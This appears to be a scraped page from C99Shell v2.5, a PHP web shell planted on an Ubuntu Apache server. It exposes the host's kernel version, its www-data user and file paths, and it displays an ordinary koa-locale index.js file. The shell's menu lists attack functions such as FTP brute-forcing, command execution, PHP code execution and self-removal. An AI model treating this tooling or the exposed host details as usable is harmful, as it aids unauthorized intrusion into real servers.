!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/koa-locale/   drwxr-xr-x
Free 13.02 GB of 57.97 GB (22.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.js (2.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*!
 * locale
 * Copyright(c) 2015 Fangdun Cai
 * MIT Licensed
 */

'use strict';

/**
 * Module dependences.
 */

var delegate = require('delegates');

/**
 * Expose
 *
 * @param {Object} app
 * @param {String} key - locale key name.
 *
 * @returns {Object} app
 */

module.exports = function(app, key) {
  key = key || 'locale';
  var request = app.request;

  // From query, `locale=en`
  Object.defineProperty(request, 'getLocaleFromQuery', {
    value: function() {
      return this.query[key];
    }
  });

  // From query, `locale=en`
  Object.defineProperty(request, 'getLocaleFromSubdomain', {
    value: function() {
      return this.subdomains.pop();
    }
  });

  // From accept-language, `Accept-Language: zh-CN`
  Object.defineProperty(request, 'getLocaleFromHeader', {
    value: function(multi) {
      var accept = this.acceptsLanguages() || '',
        reg = /(^|,\s*)([a-z-]+)/gi,
        locales = [],
        match;
      while ((match = reg.exec(accept))) {
        locales.push(match[2])
        if (!multi && locales.length) {
          break;
        }
      }
      return multi ? locales : locales[0];
    }
  });

  // From cookie, `locale=zh-CN`
  Object.defineProperty(request, 'getLocaleFromCookie', {
    value: function() {
      return this.ctx.cookies.get(key);
    }
  });

  // From URL, `http://koajs.com/en`
  Object.defineProperty(request, 'getLocaleFromUrl', {
    value: function(options) {
      var segments = this.path.substring(1).split('/');
      return segments[options && options.offset || 0];
    }
  });

  // From The Latest Domain, `http://koajs.com`, `http://kojs.cn`
  Object.defineProperty(request, 'getLocaleFromTLD', {
    value: function() {
      return this.hostname.split('.').pop();
    }
  });

  /**
   * Delegate to this.ctx.
   */

  delegate(app.context, 'request')
    .method('getLocaleFromQuery')
    .method('getLocaleFromSubdomain')
    .method('getLocaleFromHeader')
    .method('getLocaleFromCookie')
    .method('getLocaleFromUrl')
    .method('getLocaleFromTLD');

  return app;
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--